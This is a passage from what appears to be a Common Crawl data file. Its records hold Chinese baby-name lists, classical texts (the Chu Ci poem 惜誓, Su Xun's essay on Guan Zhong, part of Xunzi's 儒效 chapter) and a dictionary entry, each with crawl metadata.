宋德佑 宋德新 宋俊尧 宋仁华 宋君辉 宋圣瑞 宋劲玮 宋博豪 宋文栋 宋强靖 宋荣基 宋远乔 宋鼎羽 宋言浩 宋健棋 宋豫志 宋君庭 宋云轻 宋鸿杰 宋杰霄 宋棋国 宋材宇 宋旭明 宋展照 宋昌宏 宋浩远 宋鸿理 宋健涛 宋杰涛 宋昌瀚 宋文兴 宋崇融 宋益彤 宋文远 宋浩璋 宋昌尘 宋世帆 宋昌江 宋鼎欢 宋旭秉 宋晋欢 宋云龙 宋泽雨 宋弘锦 宋博沙 宋文民 宋弘桦 宋文嘉 宋楠熙 宋浩诚 宋天鸣 宋辉睿 宋德业 宋远畅 宋杰洋 宋文绍 宋宇棋 宋浩信 宋玮涛 宋德信 宋菲凡 宋文睿 宋菲柯 宋柏柯\nwww.qimingzhijia.com\/nanhai\/3790.html宋世舟 宋泽拓 宋瀚遥 宋德贤 宋桦盛 宋依诚 宋浩坤 宋博尧 宋远欧 宋智嘉 宋鼎润 宋松原 宋俊恩 宋涛瑞 宋鸿承 宋杰冠 宋圣琪 宋彬璋","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/df147snk.com\/qiming\/1419572.html","date":"2021-06-17T19:48:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487633444.37\/warc\/CC-MAIN-20210617192319-20210617222319-00456.warc.gz","language":"lzh","language_score":0.9848405123,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9848405122756958, \"nan_Hani_score\": 0.01407165639102459}","num_words":1438,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辞\/惜誓\n惜誓第十一\n惜余年老而日衰兮,岁忽忽而不反。登苍天而高举兮,历众山而日远。观江河之纡曲兮, 四海之沾濡;攀北极而一息兮,吸沆瀣以充虚。飞朱鸟使先驱兮,驾太一之象舆;苍龙蚴虬于左骖兮,白虎骋而为右𬴂;建日月以为盖兮,载玉女于后车;驰骛于沓冥之中兮,休息呼昆仑之墟。\n乐穷极而不厌兮,愿从容呼神明;涉丹水而驼骋兮,右大夏之遗风。黄鹄之一举兮,知山川之纡曲,再举兮,睹天地之圜方;临中国之众人兮,托回飇乎尚羊。乃至少原之野兮,赤松王乔皆在旁;二子拥瑟而调均兮,余因称呼清商。澹然而自乐兮,吸众气而翱翔;念我长生而久仙兮,不如反余之故乡。\n黄鹄后时而寄处兮,鸱枭群而制之;神龙失水而陆居兮,为蝼蚁之所裁。夫黄鹄、神龙犹如此兮,况贤者之逢乱世哉?\n寿冉冉而日衰兮,固儃回而不息;俗流从而不止兮,众枉聚而矫直。或偷合而苟进兮,或隐居而深藏;苦称量之不审兮,同权概而就衡。或推移而苟容兮,或直言之谔谔;伤诚是之不察兮,并纫茅丝以为索。\n方世俗之幽昏兮,眩白黑之美恶;放山渊之龟玉兮,相与贵夫砾石。梅伯数谏而至醢兮,来革顺志而用国;悲仁人之尽节兮,反为小人之所贼。比干忠谏而剖心兮,箕子被发而佯狂;水背流而源竭兮,木去根而不长;非重躯以虑难兮,惜伤身之无功。\n已矣哉!独不见夫鸾凤之高翔兮,乃集大皇之野;循四极而回周兮,见盛德而后下。彼圣人之神德兮,远浊世而自藏。使麒麟可得羁而系兮,又何以异呼犬羊?","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/zh.wikisource.org\/zh-hans\/%E6%A5%9A%E8%BE%AD\/%E6%83%9C%E8%AA%93","date":"2021-06-21T08:19:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488268274.66\/warc\/CC-MAIN-20210621055537-20210621085537-00542.warc.gz","language":"lzh","language_score":0.6981950998,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6981950998306274, \"cmn_Hani_score\": 0.09257768839597702, \"nan_Hani_score\": 0.047566428780555725, \"zxx_Latn_score\": 0.021588090807199478, \"jpn_Jpan_score\": 0.017656056210398674, \"wuu_Hani_score\": 0.0153341731056571, \"yue_Hani_score\": 0.014002606272697449}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"取名字是中华传统文化之一,它不仅跨度广,而且包涵的内容有十分丰富。想要取一个好名字,并不是翻阅翻阅字典就行的,其中还需要我们学习、掌握一些八字和五行类的知识。这样在取名字是才能游刃有余,这只是一种方法,而另一种方法则是在有方向的基础上在下面的文章中进行挑选。接下来一起来看看《姓周女孩独特新颖好听的名字》。姓周女孩独特新颖好听的名字周孰美 周剑伊 周惠妃 周霄欣 周稚桂 周晓娟 周眉晴 周 颖 周般媛 周君方 周德玲 周愿霞 周一茹 周满璇 周廷泳 周倩蔓 周凯昀 周凌美 周海艺 周伍馨 周 慧 周稠满 周 幸 周察玉 周馨英 周芳群 周秋连 周眺珠 周 梅 周银纨 周怡宜 周品蓓 周敬芳 周怀桂 周名婷 周淑衍 周如沛 周圭昀 周承筌 周飘春 周伍丽 周雪珍 周舒露 周娴宁 周衍淑 周越馥 周璐园 周 香 周荐方 周琬荣 周满馨 周里柳 周志玮 周雏柔 周松满 周菲丽 周屏可 周玉可 周少倪 周巧静 周瑜英 周业依 周澄荣 周雪荣 周耀婷 周茜培 周献杏 周 琼 周蔚倩 周万京 周史英 周谰燕 周珍黛 周珊倩 周充晓 周脉娥 周皋蓓 周逸环 周春华 周梦玉 周庆霏 周贞美 周凡窍 周莹桂 周辰茹 周楚娟 周恋静 周启秀 周丽方 周霖方 周般慧 周耙春 周竟素 周彩粉 周少结 周南艾 周芙英 周汝倩 周玲卫 周嘉晶 周军玉 周碧娴 周联京 周英淑 周遍菏 周娅阑 周静榕 周曙巧 周利融 周凝颐 周潇儿 周楚意 周恋贞 周荣翀 周建倩 周淑俏 周 影 周润玲 周 春 周精丽 周纯荔 周菊凝 周深莉 周朴园 周仁璇 周竹芳 周卿芳 周芝妍 周雪杏 周慧娟 姓周女孩独特新颖好听的名字周亮欣 周若静 周具菁 周茂铮 周海柔 周修滕 周学彩 周荔雅 周量嫡 周贞东 周阳珍 周婷琴 周姬姐 周亮群 周聪可 周斗雪 周高娜 周毓春 周鹄京 周骋方 周汶霞 周琇晶 周焯秀 周傲茹 周英妍 周润微 周涣秀 周迪卉 周问子 周隐芷 周真姣 周蔚美 周宁伊 周端静 周池淑 周蔓沂 周跋蕴 周赋淑 周涟俏 周育卿 周婾妃 周傲琇 周荐峥 周埃曼 周静芝 周思琳 周弘晓 周丘方 周丛影 周鸿芳 周暮晓 周易蓓 周弘丽 周琇燕 周翔园 周妤妮 周翠英 周汐玉 周务馨 周民雪 周利霄 周媚艺 周双芳 周甫巍 周艳晓 周根琰 周功迎 周东菊 周偌妤 周巧静 周贤婉 周冉贞 周悟芹 周如璇 周灶巧 周培珍 周雪柔 周品美 周正芳 周楠宛 周朋妮 周冬冰 周蕊缨 周朴怡 周玟蔚 周旖贞 周婷曼 周若娟 周易雪 周泰凌 周品旖 周姣艳 周珐雪 周亚芳 周望妤 周贤芳 周女美 周龙丽 周旬娅 周茹璐 周琇姣 周白英 周海尧 周笛晶 周轩书 周泰若 周颖童 周裕妹 周琼雪 周仓楚 周瑗牡 周婵伊 周阑慧 周霞娟 周丽蔚 周贤瑶 周包盼 周莲洋 周 惠 周弈妃\n提示您:无论好运与坏运,不必高兴或气馁,福报享尽即为坏运,坏运过去即为好运,多行善事才是好运的根本。","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.520name.com\/baziquming\/134798.html","date":"2021-06-14T04:01:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487611320.18\/warc\/CC-MAIN-20210614013350-20210614043350-00626.warc.gz","language":"lzh","language_score":0.8973562717,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8973562717437744, \"nan_Hani_score\": 0.06305734813213348, \"cmn_Hani_score\": 0.036518361419439316}","num_words":260,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.909,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n管仲論 蘇洵\n管仲相威公、威公、卽桓公。因避宋欽宗諱、故改桓爲威。霸諸侯、攘戎狄、終其身齊國富強、諸侯不敢叛。功案。管仲死、豎刁易牙開方用、威公薨於亂、五公子爭立、公子武孟、公子元、公子潘、公子商人、公子雍、公子昭。昭立、是爲孝公、故曰五公子。其禍蔓萬、延、訖簡公、齊無寧歲。禍案。夫功之成、非成於成之日、蓋必有所由起。禍之作、不作於作之日、亦必有所由兆。接上生下。故齊之治也、吾不曰管仲、而曰鮑叔。鮑叔薦管仲、桓公用之。 ○承功所由起、是客。及其亂也、吾不曰豎刁易牙開方、而曰管仲。承禍所由兆、是主。何則、豎刁易牙開方三子、彼固亂人國者、顧其用之者、威公也。責威公、是客。夫有舜而後知放四兇、有仲尼而後知去少正卯。彼威公何人也、句含蓄。顧其使威公得用三子者、管仲也。責管仲、是主。事見下文。仲之疾也、公問之相。當是時也、吾意以仲且舉天下之賢者以對。而其言乃不過曰、豎刁易牙開方三子非人情不可近而已。管仲病、桓公問曰、羣臣誰可相者。管仲曰、知臣莫如君。公曰、易牙如何。對曰、殺子以適君、非人情、不可。開方如何、對曰、倍親以適君、非人情、難近。豎刁如何、對曰、自宮以適君、非人情、難親。管仲死、而桓公不用其言。近用三子、三子專權。 ○入管仲罪處、全在此段、以下反覆暢發此意。嗚呼、仲以爲威公果能不用三子矣乎。仲與威公處幾年矣、亦知威公之爲人矣乎。威公聲不絕於耳、色不絕於目、而非三子者、則無以遂其欲。彼其初之所以不用者、徒以有仲焉耳。一日無仲、則三子者、可以彈冠而相慶矣。須看有無二字意。仲以爲將死之言、可以縶威公之手足耶。夫齊國不患有三子、而患無仲。有仲、則三子者、三匹夫耳。轉換警策。不然、天下豈少三子之徒哉。雖威公幸而聽仲、誅此三人。而其餘者、仲能悉數而去之耶。此轉更透。嗚呼、仲可謂不知本者矣。斷句有關鎖。因威公之問、舉天下之賢者以自代、則仲雖死、而齊國未爲無仲也。夫何患三子者、不言可也。此段設身置地、代仲爲謀、論有把握。五霸莫盛於威文。文公之才、不過威公、其臣狐偃、趙衰、先軫、陽處父。又皆不及仲、靈公文公子。之虐、不如孝公桓公子。之寬厚、文公死、諸侯不敢叛晉、晉襲文公之餘威、猶得爲諸侯之盟主百餘年。何者、其君雖不肖、而尚有老成人焉。晉以有賢而強。威公之薨也、一敗塗地、無惑也、彼獨恃一管仲、而仲則死矣。齊以無賢而敗。 ○此把晉文來照齊桓、方知管仲無所逃責。夫天下未嘗無賢者、蓋有有臣而無君者矣。未有有君而無臣者也。威公在焉、而曰天下不復有管仲者、吾不信也。見非天下無賢、正罪仲不能薦。仲之書、管子。有記其將死、論鮑叔、賓胥無之爲人、且各疏其短。管子寢疾、對桓公曰、鮑叔之爲人也、好直而不能以國強。賓胥無之爲人也、好善而不能以國詘。是其心以爲數子者、皆不足以託國。而又逆知其將死、則其書誕謾不足信也。據仲之書、竟以爲無賢、故不足信。吾觀史鰌、秋、 ○卽史魚。以不能進籧伯玉、而退彌子瑕、故有身後之諫。家語、史魚病、將卒。命其子曰、吾仕衛不能進蘧伯玉、退彌子瑕。是吾生不能正君、死無以成禮、我死、汝置尸牗下、于我畢矣。其子從之。靈公弔焉、怪而問之。其子以告。公愕然失容。于是命殯之客位。進蘧伯玉、而退彌子瑕。蕭何且死、舉曹參以自代。大臣之用心、固宜如此也。引二人、俱臨歿時進賢切證。夫國以一人興、以一人亡。賢者不悲其身之死、而憂其國之衰。故必復有賢者、而後可以死。彼管仲者、何以死哉。結語冷絕。\n通篇總是責管仲不能臨歿薦賢。起伏照應、開闔抑揚。立論一層深一層、引證一段緊一段。似此卓識雄文、方能令古人心服。","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/neodu.com\/%E3%80%8A%E7%AE%A1%E4%BB%B2%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-09-26T08:57:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057857.27\/warc\/CC-MAIN-20210926083818-20210926113818-00390.warc.gz","language":"lzh","language_score":0.7687808871,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.7687808871269226, \"cmn_Hani_score\": 0.11619088053703308, \"nan_Hani_score\": 0.040668051689863205, \"jpn_Jpan_score\": 0.022108759731054306}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.769,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n常鸿邡 常鸿方 常虹邡 常虹钫 常虹方 常静雅 常泽雨 常致远 常凤祥 常冬鸣 常润楚 常润山 常润睿 常天睿 常英飒 常中恒 常中冠 常翊恒 常恒林 常冠恒 常冠羽 常豆嫜 常海畅 常歆 常妙韵 常龙钰 常晓晴 常凤鸣 常凤莲 常锦珊 常永杰 常永顺 常晨华 常石峰 常德杰 常冬 常恩慈 常童蕾 常锡卓 常恩郝 常小刘 常睿康 常旺乾 常书钧 常崇淼 常增辉 常溢滔 常毓博 常征宇 常颢天 常耀华 常卫斌 常煜轩 常明露 常训涛 常家源 常玉辉 常立勋 常安 常凤惠 常芳赈 常椋瑜 常玺铭 常师铨 常宇微 常智宇 常小川 常鑫睿 常诚城 常城诚 常有珍 常凌 常恒轩 常恒一 常霁轩 常光霁 常乔乔 常永乐 常向阳 常鹿原 常红军 常皓天 常浩泉 常杰洪 常惠雯 常丽雯 常佳雯 常芮桢 常晓艾 常舜洪 常墨涵 常胜洪 常建杰 常土雯 常海雯 常思雯 常洁雯 常秀雯 常曾雯 常欣雯 常家桢 常静雯 常予希 常万明 常家琪 常家琦 常一诺 常伊诺 常佳炜 常家霖 常秋香 常家栋 常崇斌 常家峥 常一度 常栋捷 常舒楷 常子艺 常笑祯 常跃春 常冬青 常建伟 常心睿 常心夕 常仕匀 常心元 常心暄 常心羿 常心昊 常心呈 常心仲 常海尧 常根铖 常诗咏 常恩诚 常诺林 常弋飞 常楷 常非然 常嘉绮 常嘉淇 常嘉琪 常嘉惠 常海 常濠 常成远 常榕 常烁 常丰 常俊荣 常顺盛 常太极 常发财 常遗憾 常生祺 常孜涵 常伊曼 常继中 常曼霖 常有存 常煜凯 常玉林 常国青 常凯琰 常蓝四 常轶菡 常钧顺 常致维 常根诚 常智明 常贵忠 常刚诚 常家诚 常江水 常子铭 常顺层 常顺橙 常顺逞 常顺晟 常顺乘 常顺丞 常顺承 常顺呈 常顺程 常顺铖 常顺城 常洪钫 常洪邡 常洪方 常宏钫 常宏邡 常宏方 常闳钫 常闳邡 常鸿钫 常靓雯 常植雯 常傅洪 常淇洪 常雅雯 常竣洪 常钧洪 常与郝 常艾菁 常爱郝 常君杰 常林林 常俊杰 常振华 常淙洋 常淙洪 常凌洛 常淙洛 常鸿烨 常鸿钰 常亚萱 常亚苎 常鸿洛 常添洛 常添洪 常添鸿 常添洋 常添钰 常延平 常有清 常昭瀚 常崇庆 常培荣 常诗铸 常哲超 常嘉骥 常恺 常中睿 常百成 常溢潢 常珂毓 常弘远 常绍挺 常绍廷 常振鹤 常泽裕 常攀峰 常大利 常裕群 常建坤 常载梁 常新裕 常稚聪 常蛰 常好景 常好菁 常好佳 常开远 常译云 常洙忱 常留山 常真瑕 常真侠 常真峡 常新晨 常丁凡 常斌贤 常玉卿 常栌元 常秋宏 常随曦 常随岗 常凯峰 常随春 常祝华 常富贵 常伊轩 常巍巍 常芝霖 常伊霖 常新雨 常文举 常俊峰 常随刚 常随喜 常关 常馨仃 常柚月 常柚欣 常明礼 常莜欣 常馨莜 常馨源 常明旭 常明阳","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/scw13.cn\/show_446.aspx","date":"2021-09-24T15:24:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057558.23\/warc\/CC-MAIN-20210924140738-20210924170738-00470.warc.gz","language":"lzh","language_score":0.4381470382,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.43814703822135925, \"nan_Hani_score\": 0.4149817228317261, \"wuu_Hani_score\": 0.13256680965423584, \"cmn_Hani_score\": 0.010097426362335682}","num_words":291,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.449,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n秦琳玮 秦怡颖 秦妍爽 秦素蓉 秦子琳 秦信燕 秦秀彤 秦于婷 秦燕群 秦小颖 秦晓颖 秦祉妍 秦语嫣 秦可嫣 秦可茹 秦媛苑 秦瀚文 秦佳妍 秦政芳 秦悦文 秦宇红 秦古梅 秦芷婷 秦洪芳 秦宏燕 秦怡凡 秦宇燕 秦利文 秦娜尔 秦临悦 秦其英 秦潞瑶 秦东娥 秦熙梅 秦熙美 秦熙妹 秦熙芳 秦熙娟 秦熙玉 秦熙倩 秦梅玲 秦悦丫 秦悦芽 秦玲珑 秦梦雪 秦明芳 秦同霞 秦英玲 秦贝玲 秦忘文 秦怡梦 秦瑛紫 秦臻怡 秦彩红 秦杨霞 秦熙琼 秦婉萍 秦悦淑 秦贵文 秦官娥 秦宇雪 秦鹏娜 秦奕婷 秦婧琦 秦倩然 秦西英 秦亦霞 秦琳敏 秦惠雪 秦雪琳 秦汉婷 秦汉媛 秦慧婧 秦道英 秦露霞 秦宏艳 秦一芳 秦一玉 秦漪芳 秦月颖 秦维琴 秦娆婷 秦港文 秦菁文 秦怡蓉 秦可玉 秦雪妹 秦来英 秦煜琳 秦煜洁 秦雨梅 秦能文 秦枝丽 秦孜颖 秦雅琳 秦悦雅 秦悦鑫 秦悦晴 秦允婷 秦益婷 秦枫茹 秦枫婷 秦羽颖 秦琳容 秦菊蓉 秦琳蓉 秦德芬 秦月花 秦娅淇 秦川英 秦成美 秦泽瑛 秦泽英 秦祯梅 秦大丽 秦大萍 秦玉瑛 秦齐文 秦琼英 秦川婷 秦琳淋 秦静瑶 秦芳娟 秦忻嫣 秦真玉 秦津玉 秦珍玉 秦彬燕 秦双燕 秦子洁 秦子玉 秦彬嫣 秦玮英 秦凌霞 秦九美 秦志艳 秦妍心 秦安红 秦煜茹 秦显文 秦乐文 秦琳娜 秦子冉 秦绪蓉 秦家文 秦曼婷 秦黎雪 秦黎婷 秦秀萍 秦菁悦 秦鸿颖 秦弘颖 秦娅绚 秦虹莹 秦弘梅 秦虹梅 秦鸿莹 秦洪莹 秦艳婷 秦忠怡 秦穆英 秦月艳 秦会霞 秦雨嫣 秦若莹 秦倩瑜 秦佳颖 秦茹叶 秦桃琳 秦茹雪 秦芷瑶 秦国燕 秦菠霞 秦萍隳 秦玲先 秦国颖 秦梓媛 秦婧茹 秦宇瑶 秦忠梅 秦瑞瑶 秦婧汝 秦婧洳 秦婧如 秦天怡 秦立文 秦前英 秦明莉 秦子燕 秦之琳 秦博冉 秦莉笠 秦莉栗 秦皓文 秦紫文 秦燕阳 秦敬玉 秦瑶坤 秦瑶微 秦健裴 秦暮嫣 秦慕嫣 秦君霞 秦均萍 秦艳芳 秦祥艳 秦明娟 秦琳然 秦瑶菲 秦函悦 秦淑娜 秦颢芳 秦珠玉 秦滢洁 秦竹洁 秦汛洁 秦洁玉 秦英红 秦缨玉 秦惠芳 秦登莉 秦四萍 秦庭悦 秦秀莹 秦秀萌 秦幕婵 秦悦紫 秦寿英 秦芬芬 秦汉琼 秦学琴 秦立妍 秦阿红 秦五英 秦六英 秦嘉娜 秦萍霞 秦宗琼 秦尊丽 秦睿瑶 秦利茹 秦宇娟 秦雨娟 秦秋梅 秦慧艳 秦雪红 秦建芳 秦苑玉 秦凤玲 秦慧媛 秦彦红 秦艺莹 秦琴桂 秦苑文 秦悦菊 秦祖玉 秦悦祺 秦祖文 秦秀琪 秦琪秀 秦昕秀 秦圣洁 秦子婷 秦主芬 秦燕芬 秦弋婷 秦佰燕 秦佰艳 秦培瑛 秦铭英 秦桂美 秦雄英 秦晨丽 秦江英 秦延霞 秦晏霞 秦言霞 秦研霞 秦妍霞 秦嫣霞 秦雁霞 秦彦霞 秦艳霞 秦滟霞 秦诗妍 秦青花 秦清花 秦鑫怡 秦茉玲 秦松娜 秦林英 秦筱萍 秦豪英 秦冬莉 秦东丽 秦江红 秦朋娟 秦悦忠 秦珑玲 秦苏娟\n提示您:无论好运与坏运,不必高兴或气馁,福报享尽即为坏运,坏运过去即为好运,多行善事才是好运的根本。","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.520name.com\/baziquming\/105994.html","date":"2022-10-05T02:24:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337531.3\/warc\/CC-MAIN-20221005011205-20221005041205-00376.warc.gz","language":"lzh","language_score":0.9999907017,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.999990701675415}","num_words":302,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"字 詞 誨而不倦 注 音 ㄏㄨㄟˋ ㄦˊ ㄅㄨˋ ㄐㄩㄢˋ 漢語拼音 huì ér bù juàn 釋 義 教導人有耐心而不知疲倦。漢.蔡邕〈彭城姜肱碑〉:「有名物定事之能、獨見先睹之效,然猶學而不厭、誨而不倦。」也作「誨人不倦」。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/dict.revised.moe.edu.tw\/dictView.jsp?ID=85327","date":"2023-12-04T10:02:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100527.35\/warc\/CC-MAIN-20231204083733-20231204113733-00293.warc.gz","language":"lzh","language_score":0.5753519535,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5753519535064697, \"cmn_Hani_score\": 0.3154030740261078, \"nan_Hani_score\": 0.03152307868003845, \"yue_Hani_score\": 0.03136879950761795, \"jpn_Jpan_score\": 0.02252519316971302, \"zxx_Latn_score\": 0.014109947718679905}","num_words":17,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.617,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荀子儒效篇第八\n大儒之效:武王崩,成王幼,周公屏成王而及武王,以屬天下,惡天下之倍周也。履天子之籍,聽天下之斷,偃然如固有之,而天下不稱貪焉。殺管叔,虛殷國,而天下不稱戾焉。兼制天下,立七十一國,姬姓獨居五十三人,而天下不稱偏焉。教誨開導成王,使諭於道,而能揜跡於文武。周公歸周,反籍於成王,而天下不輟事周;然而周公北面而朝之。天子也者,不可以少當也,不可以假攝為也;能則天下歸之,不能則天下去之。是以周公屏成王而及武王,以屬天下,惡天下之離周也。成王冠,成人,周公歸周反籍焉,明不滅主之義也。周公無天下矣;鄉有天下,今無天下,非擅也;成王鄉無天下,今有天下,非奪也;變埶次序節然也。故以枝代主,而非越也;以弟誅兄,而非暴也;君臣易位,而非不順也。因天下之和,遂文武之業,明枝主之義,抑亦變化矣,天下厭然猶一也。非聖人莫之能為。夫是之謂大儒之效。\n秦昭王問孫卿子曰:「儒無益於人之國?」孫卿子曰:「儒者法先王,隆禮義,謹乎臣子而致貴其上者也。人主用之,則埶在本朝而宜;不用,則退編百姓而愨;必為順下矣。雖窮困凍餧,必不以邪道為貪。無置錐之地,而明持社稷之大義。嘄呼而莫之能應,然而通乎財萬物,養百姓之經紀。埶在人上,則王公之材也;在人下,則社稷之臣,國君之寶也。雖隱於窮閻漏屋,人莫不貴之,道誠存也。仲尼將為司寇,沈猶氏不敢朝飲其羊,公慎氏出其妻,慎潰氏踰境而徙,魯之粥牛馬者不豫賈,脩正以待之也。居於闕黨,闕黨之子弟,罔不必分,有親者多取,孝弟以化之也。儒者在本朝則美政,在下位則美俗。儒之為人下如是矣。王曰:「然則其為人上何如?」孫卿曰:「其為人上也,廣大矣!志意定乎內,禮節脩乎朝,法則度量正乎官,忠信愛利形乎下。行一不義,殺一無罪,而得天下,不為也。此若義信乎人矣,通於四海,則天下應之如驩。是何也?則貴名白而天下治也。故近者歌謳而樂之,遠者竭蹶而趨之,四海之內若一家,通達之屬,莫不從服。夫是之謂人師。詩曰:『自西自東,自南自北,無思不服。』此之謂也。夫其為人下也如彼,其為人上也如此,何謂其無益於人之國也!」昭王曰:「善!」\n先王之道,人之隆也,比中而行之,曷謂中?曰:禮義是也。道者,非天之道,非地之道,人之所以道也,君子之所道也。\n君子之所謂賢者,非能徧能人之所能之謂也;君子之所謂知者,非能徧知人之所知之謂也;君子之所謂辯者,非能徧辯人之所辯之謂也;君子之所謂察者,非能徧察人之所察之謂也;有所止矣。相高下,視墝肥,序五種,君子不如農人;通財貨,相美惡,辯貴賤,君子不如賈人;設規矩,陳繩墨,便備用,君子不如工人;不卹是非然不然之情,以相薦撙,以相恥怍,君子不若惠施、鄧析。若夫譎德而定次,量能而授官,使賢不肖皆得其位,能不能皆得其官,萬物得其宜,事變得其應,慎墨不得進其談,惠施、鄧析不敢竄其察,言必當理,事必當務,是然後君子之所長也。\n凡事行,有益於理者,立之;無益於理者,廢之。夫是之謂中事。凡知說,有益於理者,為之;無益於理者,舍之。夫是之謂中說。事行失中,謂之姦事;知說失中,謂之姦道。姦事、姦道,治世之所棄,而亂世之所從服也。若夫充虛之相施易也,堅白同異之分隔也,是聰耳之所不能聽也,明目之所不能見也,辯士之所不能言也,雖有聖人之知,未能僂指也。不知無害為君子,知之無損為小人。工匠不知,無害為巧;君子不知,無害為治。王公好之則亂法,百姓好之則亂事。而狂惑戇陋之人,乃始率其群徒,辯其談說,明其辟稱,老身長子,不知惡也。夫是之謂上愚,曾不如相雞狗之可以為名也。詩曰:「為鬼為蜮,則不可得,有靦面目,視人罔極。作此好歌,以極反側。」此之謂也。\n我欲賤而貴,愚而智,貧而富,可乎?曰:其唯學乎。彼學者,行之,曰士也;敦慕焉,君子也;知之,聖人也。上為聖人,下為士、君子,孰禁我哉!鄉也,混然塗之人也,俄而並乎堯禹,豈不賤而貴矣哉!鄉也,效門室之辨,混然曾不能決也,俄而原仁義,分是非,圓回天下於掌上,而辯黑白,豈不愚而知矣哉!鄉也,胥靡之人,俄而治天下之大器舉在此,豈不貧而富矣哉!今有人於此,屑然藏千溢之寶,雖行貣而食,人謂之富矣。彼寶也者,衣之不可衣也,食之不可食也,賣之不可僂售也,然而人謂之富,何也?豈不大富之器誠在此也?是杅杅亦富人已,豈不貧而富矣哉!故君子無爵而貴,無祿而富,不言而信,不怒而威,窮處而榮,獨居而樂!豈不至尊、至富、至重、至嚴之情舉積此哉!故曰:貴名不可以比周爭也,不可以夸誕有也,不可以埶重脅也,必將誠此然後就也。爭之則失,讓之則至;遵道則積,夸誕則虛。故君子務脩其內讓之於外,務積德於身而處之以遵道。如是,則貴名起之如日月,天下應之如雷霆。故曰:君子隱而顯,微而明,辭讓而勝。詩曰:「鶴鳴于九皋,聲聞于天。」此之謂也。鄙夫反是:比周而譽俞少,鄙爭而名俞辱,煩勞以求安利,其身俞危。詩曰:「民之無良,相怨一方,受爵不讓,至于已斯亡。」此之謂也。故能小而事大,譬之是猶力之少而任重也,舍粹折而無適也。身不肖而誣賢,是猶傴伸而好升高也,指其頂者愈衆。故明主譎德而序位,所以為不亂也;忠臣誠能而後敢受職,所以為不窮也。分不亂於上,能不窮於下,治辯之極也。詩曰:「平平左右,亦是率從。」是言上下之交不相亂也。\n以從俗為善,以貨財為寶,以養生為己至道,是民德也。行法至堅,不以私欲亂所聞:如是,則可謂勁士矣。行法至堅,好脩正其所聞,以橋飾其情性;其言多當矣,而未諭也;其行多當矣,而未安也;其知慮多當矣,而未周密也;上則能大其所隆,下則能開道不己若者:如是,則可謂篤厚君子矣。脩百王之法,若辨白黑;應當時之變,若數一二;行禮要節而安之,若生四枝;要時立功之巧,若詔四時;平正和民之善,億萬之衆而搏若一人:如是,則可謂聖人矣。井井兮其有理也,嚴嚴兮其能敬己也,分分兮其有終始也,猒猒兮其能長久也,樂樂兮其執道不殆也,炤炤兮其用知之明也,脩脩兮其用統類之行也,綏綏兮其有文章也,熙熙兮其樂人之臧也,隱隱兮其恐人之不當也:如是,則可謂聖人矣。此其道出乎一。曷謂一?曰:執神而固。曷謂神?曰:盡善挾治之謂神,萬物莫足以傾之之謂固。神固之謂聖人。聖人也者,道之管也。天下之道,管是矣;百王之道,一是矣。故詩書禮樂之歸是矣。詩言是其志也,書言是其事也,禮言是其行也,樂言是其和也,春秋言是其微也,故風之所以為不逐者,取是以節之也,小雅之所以為小雅者,取是而文之也,大雅之所以為大雅者,取是而光之也,頌之所以為至者,取是而通之也。天下之